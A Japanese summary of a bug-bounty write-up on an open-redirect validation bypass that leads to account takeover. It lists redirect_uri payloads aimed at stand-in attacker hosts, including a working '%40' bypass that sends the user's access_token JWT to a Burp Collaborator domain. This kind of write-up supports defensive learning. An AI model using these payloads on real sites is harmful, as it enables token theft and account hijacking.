Open Redirect Validation Bypass Leads To Account Take Over (ATO) から学ぶ

ソース:

medium.com

脆弱性:OpenRedirect

 

訳:

まず、ウェブサイトを理解して閲覧し始めました。 次に、 register 関数に注目すると、すぐに「redirect_uri」パラメータに注目しました。

オープン リダイレクトをテストしようとしましたが、残念ながらパラメータの (正規表現) 検証がありました。 通常の登録プロセスを続行しました。

 

登録後、ログインしようとすると、「access_token」パラメータとともに GET リクエストのリダイレクトがあることに気付きました。
access_token」にはユーザーの JWT トークンが含まれていました。 

 

アクセストークンパラメータを使用したリダイレクト

つまり、入手できればフルATOということになります!

 

ATO を実現するために「redirect_uri」パラメータのバイパスを見つけようとしました。
問題は、検証ではホストが「redirect_uri=
target.com 」である必要があることです。
ドメインまたは TLD を変更すると、エラーが発生します。

「redirect_uri」パラメータに適用される正規表現を理解した後、次のペイロードを試しました。

 

  1. redirect_uri=trarget.com/%09/myburpcollab.com
  2. redirect_uri=trarget.com//myburpcollab.com
  3. redirect_uri=trarget.com\myburpcollab.com
  4. redirect_ur=target.com/ /myburpcollab.com
  5. redirect_uri=target.com&redirect_uri=attacker.com
  6. and more…

残念ながら、どれも機能しませんでした。
しかし、 redirect_uri=target.com%40myburpcollab.com を 試してログインすると、burp Collab にリダイレクトされてしまいました!! 

 

Myゲップ協力者にリクエスト!!

access_token は URL パラメータに存在していたので、取得できました。
そこで、「access_token」パラメータを直接取得して、target.com/?access_token=jwt-token のようにターゲット ドメインの後に追加しました。
これにより、アカウントに完全にアクセスできるようになりました。 

 

ほなほな。